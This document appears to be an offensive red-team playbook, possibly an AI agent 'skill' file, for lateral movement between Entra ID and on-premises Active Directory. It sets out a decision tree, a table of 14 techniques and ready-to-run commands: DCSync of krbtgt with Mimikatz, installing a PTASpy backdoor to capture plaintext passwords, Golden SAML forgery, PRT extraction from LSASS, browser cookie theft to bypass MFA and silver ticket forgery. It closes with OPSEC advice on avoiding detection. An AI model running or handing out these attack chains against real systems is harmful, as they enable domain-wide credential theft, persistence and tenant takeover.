In modern enterprise environments, hybrid identity architectures between Azure/Entra ID and on-premises Active Directory are extremely common. While this architecture provides convenience, it also creates a unique attack surface—once an attacker controls a cloud identity (Entra ID), they can cross over to the on-premises AD environment by leveraging synchronization services, trust relationships, and credential bridging mechanisms, and vice versa. Cloud-to-OnPrem lateral movement is one of the most critical attack phases in red team assessments, and also a blind spot most easily overlooked by defenders.
Key Points: Every synchronization component in a hybrid identity architecture (Connect Sync, Cloud Sync, PTA Agent, Federation) is a potential lateral movement bridge. Attackers need to first identify the type of hybrid identity architecture used by the target, and then select the corresponding lateral technique.
In-Depth Reference
After identifying the specific attack cluster, load the corresponding reference document to obtain complete technical details:
- Identity synchronization attacks (Connect Sync/Cloud Sync/PTA/Federation/Domain Services/Arc) → read references/identity-sync-attacks.md
- Token and credential attacks (PRT/Certificate/Cookie/Seamless SSO/Cloud Kerberos Trust/Exchange Hybrid) → read references/token-credential-attacks.md
Lateral Movement Decision Tree
After obtaining cloud or on-premises permissions, select the available lateral techniques according to the following decision tree:
混合身份架构识别
├─ 检测到 Azure AD Connect Sync（MSOL_* 账户存在）
│ ├─ 已控制 Connect Sync 服务器 → Connect Sync 凭据提取（DCSync）
│ ├─ 有 Entra ID GA 权限 + Password Writeback 启用 → 云端重置 AD 密码
│ └─ 检测到 Seamless SSO（AZUREADSSOACC$ 存在） → 银票伪造访问云端
│ → 读 references/identity-sync-attacks.md
│
├─ 检测到 Cloud Sync（provAgentgMSA 账户存在）
│ ├─ 已控制 gMSA 密码读取权限 → Cloud Sync gMSA 提取 + DCSync
│ └─ AD 用户同步到 Entra ID → 修改密码等待同步
│ → 读 references/identity-sync-attacks.md
│
├─ 检测到 PTA Agent（Pass-through Authentication）
│ ├─ 已控制 PTA 服务器 → 安装 PTASpy 后门（拦截所有密码 + 允许任意密码）
│ └─ 有 GA 权限 → 注册恶意 PTA Agent
│ → 读 references/identity-sync-attacks.md
│
├─ 检测到 Federation（AD FS 服务器存在）
│ ├─ 已控制 AD FS 服务器 → 提取 Token Signing 证书 → Golden SAML
│ └─ 有 Exchange Hybrid → ACS Actor Token 模拟
│ → 读 references/identity-sync-attacks.md
│
├─ 检测到 Cloud Kerberos Trust（AzureADKerberos$ 存在）
│ ├─ 有 GA/Hybrid Identity Admin 权限 → 修改用户 SID → Partial TGT → Full TGT
│ └─ 目标 MSOL 账户 → DCSync 全域
│ → 读 references/token-credential-attacks.md
│
├─ 检测到 Domain Services（AAD DC Administrators 组存在）
│ ├─ 有 Entra ID 权限 → 添加用户到 AAD DC Administrators → RDP 接管
│ └─ 托管域 → 密码哈希同步利用
│ → 读 references/identity-sync-attacks.md
│
├─ 检测到 Arc GPO 部署（AzureArcDeploy 共享目录存在）
│ ├─ 可创建/控制 AD 机器账户 → 解密 SP 密钥 → 云端接管
│ └─ → 读 references/identity-sync-attacks.md
│
├─ 已控制设备（Azure AD Joined/Hybrid Joined）
│ ├─ 设备有 PRT → Pass the PRT（提取 + 构造 PRT Cookie）
│ ├─ 设备有 PRT + NegoEx → Pass the Certificate
│ ├─ 浏览器有 Azure 会话 → Pass the Cookie（ESTSAUTH/ESTSAUTHPERSISTENT）
│ └─ 设备有云端应用（Excel/Teams）→ 内存中提取 JWT Token
│ → 读 references/token-credential-attacks.md
│
└─ 已获取用户凭据（密码/哈希/TGT）
├─ 用户已同步到 Entra ID → 直接登录云端
├─ 有 AZUREADSSOACC$ 哈希 → Seamless SSO 银票
└─ 有 KRBTGT 哈希 → Golden Ticket 后通过 Seamless SSO 访问云端
→ 读 references/token-credential-attacks.md
Overview of 14 Lateral Techniques
| # | Technique Name | Direction | Prerequisites | Required Permissions | Key Tools | Stealthiness |
|---|---|---|---|---|---|---|
| 1 | Connect Sync Credential Extraction | AD↔Cloud | Connect Sync Server Access | Server Local Administrator | AADInternals, adconnectdump | Medium |
| 2 | Cloud Sync gMSA Extraction | AD→Cloud | Cloud Sync Agent Deployment | DC Machine Account Hash or gMSA Read Permission | DSInternals, Mimikatz | Medium |
| 3 | PTA Agent Backdoor | Cloud→AD | PTA Agent Server Access | Server Local Administrator | AADInternals (PTASpy) | Low |
| 4 | Federation / Golden SAML | AD→Cloud | AD FS Server Access | Domain Admin | ADFSDump, shimit, AADInternals | High |
| 5 | Domain Services | Cloud→AD | Domain Services Deployed | Entra ID User Management Permission | Azure Portal/CLI | Low |
| 6 | Arc GPO Script Injection | AD→Cloud | Arc GPO Deployment Share Reachable | AD Machine Account | PowerShell (DPAPI-NG) | Medium |
| 7 | Pass the PRT | Device→Cloud | Azure AD Joined Device Access | Local Administrator/User | Mimikatz, ROADtools, AADInternals | High |
| 8 | Pass the Certificate | Device→Device | PRT + NegoEx Support | PRT Extraction Permission | PrtToCert, AzureADJoinedMachinePTC | High |
| 9 | Pass the Cookie | Browser→Cloud | Browser Session Exists | User Level (DPAPI Decryption) | Mimikatz (dpapi::chrome) | High |
| 10 | Seamless SSO Silver Ticket | AD→Cloud | Seamless SSO Enabled | AZUREADSSOACC$ Hash | Mimikatz, SeamlessPass, Rubeus | High |
| 11 | Cloud Kerberos Trust | Cloud→AD | Cloud Kerberos Trust Enabled | Global Admin / Hybrid Identity Admin | ROADtools Hybrid, Impacket | High |
| 12 | Exchange Hybrid Simulation | AD→Cloud | Exchange Hybrid Deployment | Exchange Server Access | Custom OAuth Tool | Medium |
| 13 | Local Cloud Credential Extraction | Device→Cloud | Compromised Endpoint Device | Local Administrator/User | WinPEAS, Manual Search | High |
| 14 | Hybrid Misc (Forced Synchronization, etc.) | AD↔Cloud | Hybrid Identity Synchronization Enabled | AD User Attribute Modification Permission | PowerShell, AADInternals | Medium |
Group 1: Identity Synchronization Attacks
Connect Sync Credential Extraction
Azure AD Connect Sync creates on the installation server MSOL_<installationID> account, which has DCSync (directory replication) permissions on the local AD. Credentials are stored encrypted with DPAPI in the local SQL database ADSync.mdf . After an attacker takes control of the Connect Sync server, they can extract the MSOL account password to perform DCSync and obtain all domain hashes.
# 提取 Connect Sync 存储的凭据
Install-Module -Name AADInternals -RequiredVersion 0.9.0
Import-Module AADInternals
Get-AADIntSyncCredentials
# 使用 MSOL 账户执行 DCSync
runas /netonly /user:domain\MSOL_<id> cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
Enumeration: Search for MSOL_*、Sync_*、ADSyncMSA* account to confirm the existence of Connect Sync.
Cloud Sync gMSA Credential Extraction
Cloud Sync uses provAgentgMSA group Managed Service Account (gMSA), which by default has DCSync permissions. The gMSA password is usually only readable by the DC machine account. An attacker must first obtain the DC machine account hash, then read the gMSA password as that identity.
# 枚举 gMSA 账户
Get-ADServiceAccount -Filter * -Server domain.local
# 获取 DC 机器账户哈希后读取 gMSA 密码
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
PTA Agent Backdoor
The Pass-through Authentication Agent retrieves encrypted credentials from the Azure AD queue and validates them against the local AD. After an attacker takes control of the PTA server, they can install a backdoor to intercept all plaintext passwords and allow any password to pass validation (similar to a Skeleton Key attack).
# 安装 PTASpy 后门
Install-AADIntPTASpy
# 读取拦截到的明文密码
Get-AADIntPTASpyLog -DecodePasswords
# 移除后门
Remove-AADIntPTASpy
Note: After obtaining GA permissions, a new PTA Agent can be registered to achieve persistence.
Federation / Golden SAML
AD FS uses a Token Signing certificate to sign SAML Responses. After an attacker extracts the private key, they can forge SAML tokens for any user (Golden SAML), bypassing password and MFA authentication. The certificate does not rotate automatically, and changing a user's password does not affect already generated SAML.
# 从 AD FS 服务器导出 Token Signing 证书
Export-AADIntADFSSigningCertificate
# 使用 shimit 伪造 SAML Response
python shimit.py -idp http://adfs.domain.com/adfs/services/trust -pk key.pem -c cert.pem -u domain\admin -n admin@domain.com -r ADFS-admin -id 123456789012
Domain Services
Microsoft Entra Domain Services deploys a managed AD in Azure.AAD DC Administrators Group members have local administrator privileges on domain VMs. An attacker only needs to add a user to this group to take over all domain VMs via RDP.
Arc GPO Deployment Script Injection
Azure Arc connects servers to Azure through GPO deployment scripts. The Service Principal secret is stored encrypted with DPAPI-NG on a network share. After an attacker creates or controls an AD machine account, they can decrypt the secret and access Azure as the Service Principal.
# 使用机器账户 TGT 解密 SP 密钥
Import-Module .\AzureArcDeployment.psm1
$encryptedSecret = Get-Content "\\share\AzureArcDeploy\encryptedServicePrincipalSecret"
$ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret)
Group 2: Token and Credential Attacks
Pass the PRT
The Primary Refresh Token (PRT) is a long-lived refresh token on Azure AD devices, similar to a Kerberos TGT. The PRT and its Session Key are cached in the CloudAP plugin of LSASS. On devices without TPM, it can be extracted directly from memory; on devices with TPM, the PRT Cookie can be obtained indirectly through the BrowserCore COM interface or the WAM API.
# 从 LSASS 提取 PRT 和 Session Key（无 TPM）
privilege::debug
sekurlsa::cloudap
token::elevate
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# 生成 PRT Cookie
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>
# 使用 roadtx 续期 PRT
roadtx prt -a renew --prt <PRT> --prt-sessionkey <clear_key>
roadtx browserprtauth
Non-Administrator Path: Obtain the PRT Cookie at the user level through BrowserCore COM (RequestAADRefreshToken.exe) or ROADtoken.
Pass the Certificate
Based on the PRT, request a user P2P certificate from Entra ID CA, then use that certificate to authenticate via NegoEx and access other Azure AD Joined machines.
# 请求 P2P 证书
RequestCert.py --tenantId <TenantID> --prt <PRT> --userName <User> --hexCtx <Ctx> --hexDerivedKey <Key>
# 使用证书访问远程机器
Main.py --usercert user.pfx --certpass <pass> --remoteip <target_ip>
Pass the Cookie
Extract Azure authentication cookies from the browser (ESTSAUTH、ESTSAUTHPERSISTENT), after decrypting with DPAPI and injecting into the browser, MFA can be bypassed to directly access Azure resources.
# 使用 Mimikatz 提取 Chrome Cookie
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
# 将 ESTSAUTHPERSISTENT Cookie 注入浏览器 → 访问 login.microsoftonline.com
Seamless SSO Silver Ticket
Seamless SSO creates an AZUREADSSOACC$ computer account in AD, whose password never changes and is sent in plaintext to Entra ID. After an attacker obtains the account hash, they can forge a Kerberos Silver Ticket for any synchronized user to access cloud resources.
# 提取 AZUREADSSOACC$ 哈希
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
# 使用 SeamlessPass 获取云端令牌
seamlesspass -tenant corp.com -adssoacc-ntlm <hash> -user-sid <SID>
# 或伪造银票
mimikatz.exe "kerberos::golden /user:<target> /sid:<domain_SID> /id:<RID> /domain:domain.local /rc4:<hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit
Note: The AZUREADSSOACC$ password never changes, so a single extraction allows long-term exploitation. A Silver Ticket does not bypass MFA.
Cloud Kerberos Trust
When Cloud Kerberos Trust is enabled in the environment, Entra ID can issue a Partial TGT for AD users. After an attacker gains Global Admin privileges, they can use the Sync API to modify the hybrid user's onPremisesSID to point to a highly privileged AD account (such as the MSOL synchronization account), then obtain a Partial TGT and exchange it for a Full TGT on the DC, ultimately performing DCSync.
# 修改混合用户的 on-prem SID 指向目标账户
python3 modifyuser.py -u <GA_UPN> -p <Password> --sourceanchor <ImmutableID> --sid <Target_SID> --sam <Target_SAM>
# 获取 PRT 中的 Partial TGT
roadtx getprt -u <HybridUser> -p <Password> -d <DeviceID>
# 将 Partial TGT 换为 Full TGT + NTLM 哈希
python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash
# DCSync
secretsdump.py 'DOMAIN/<TargetSAM>$@<DC_IP>' -hashes :<NTLM_hash>
Exchange Hybrid Impersonation
In the legacy Exchange Hybrid design, on-premises Exchange can use the same Entra application identity as Exchange Online. After an attacker extracts the Hybrid certificate private key from the Exchange server, they can impersonate any user via an ACS Actor Token to access Exchange Online and SharePoint/OneDrive.graph.windows.net impersonation path has been patched, but Exchange/SharePoint impersonation is still effective in environments that have not completed the identity separation migration.
On-Premises Cloud Credential Extraction
After compromising an endpoint device, cloud credentials can be extracted from multiple locations:
| Location | Credential Type | Path/Method |
|---|---|---|
| Azure CLI | Access Token (plaintext) | C:\Users\<user>\.Azure\accessTokens.json |
| Azure PowerShell | Token Cache | C:\Users\<user>\.Azure\TokenCache.dat |
| Azure PowerShell | SP Secret (plaintext) | C:\Users\<user>\.Azure\AzureRmContext.json |
| Process Memory | JWT Token (plaintext) | Dump Excel/Teams process memory, grep eyJ0 |
| Browser | Session Cookie | DPAPI decrypt browser cookie storage |
# 从进程内存提取 JWT Token
strings excel.dmp | grep 'eyJ0'
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
Tool Recommendations
| Tool | Purpose | Applicable Scenario |
|---|---|---|
| AADInternals | Connect Sync/PTA/Seamless SSO/PRT attacks | All-scenario hybrid identity attacks |
| ROADtools (roadtx/roadrecon) | PRT operations, Cloud Kerberos Trust, device registration | Cloud→OnPrem traversal |
| Mimikatz | PRT/Cookie/DPAPI/DCSync/Silver Ticket | Credential extraction and ticket forgery |
| Rubeus | Kerberos ticket operations, S4U, Silver Ticket | Seamless SSO/RBCD attacks |
| SeamlessPass | One-click Seamless SSO exploitation | TGT/TGS/hash→cloud token |
| adconnectdump | Remote extraction of Connect Sync credentials | Remote Connect Sync attacks |
| shimit | Golden SAML forgery | Federation attacks |
| Impacket | DCSync/secretsdump/getST/addcomputer | AD core attack toolset |
| PrtToCert | PRT→P2P certificate generation | Pass the Certificate |
| ROADtoken | User-level PRT cookie acquisition | Non-admin PRT exploitation |
| DSInternals | gMSA password reading, NTDS.dit parsing | Cloud Sync/Seamless SSO |
| WinPEAS | Automated on-premises credential search | On-premises cloud credential discovery |
Architecture Identification Enumeration Commands
# 检测 Connect Sync（从 AD 侧）
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description
Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'"
# 检测 Cloud Sync（从 AD 侧）
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"
# 检测 Seamless SSO（从 AD 侧）
Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"
# 检测 Cloud Kerberos Trust（从 AD 侧）
Get-ADComputer -Filter "SamAccountName -like 'AzureADKerberos$'"
# 检测 PTA Agent（从 Entra ID 侧）
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
# 检测 Cloud Sync Agent（从 Entra ID 侧）
az rest --method GET --uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups"
# 检测同步配置（从 Entra ID 侧）
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
# 检测 Federation（从外部）
Import-Module AADInternals
Invoke-AADIntReconAsOutsider -Domain <domain> | Format-Table
Operational Security (OPSEC)
- PTA Backdoor: PTASpy works via DLL injection and becomes ineffective after the service is restarted; creating a folder in
C:\PTASpyleaves file system traces - Connect Sync Credential Extraction：
Get-AADIntSyncCredentialsRequires local administrator privileges to access the SQL database; the operation itself does not generate network logs - Golden SAML: Token Signing certificates are not automatically rotated, so an attacker can forge tokens long-term; detection requires monitoring AD FS certificate export events
- PRT extraction：
sekurlsa::cloudapRequires SYSTEM privileges to access LSASS, which triggers EDR/Sysmon LSASS access alerts - Seamless SSO silver ticket：
AZUREADSSOACC$The password never changes, so after a single extraction an attacker can forge silver tickets indefinitely - Cloud Kerberos Trust: Modifying a user's onPremisesSID will be automatically reverted on the next synchronization cycle, but the attack window is sufficient to complete DCSync
- Password Writeback: Modifying an AD user's password generates Entra ID audit logs;
adminCount=1users (Domain Admins, etc.) are not affected - GuardDuty equivalent: The corresponding detection services in Azure are Microsoft Defender for Identity and Microsoft Sentinel, which monitor DCSync, anomalous Kerberos ticket requests, etc.
Cross-references
- Refer to the
azure-pentestingskill to obtain the overall attack flow and initial access methods for Azure environments - Refer to the
azure-ad-attackskill to obtain Entra ID privilege escalation and persistence techniques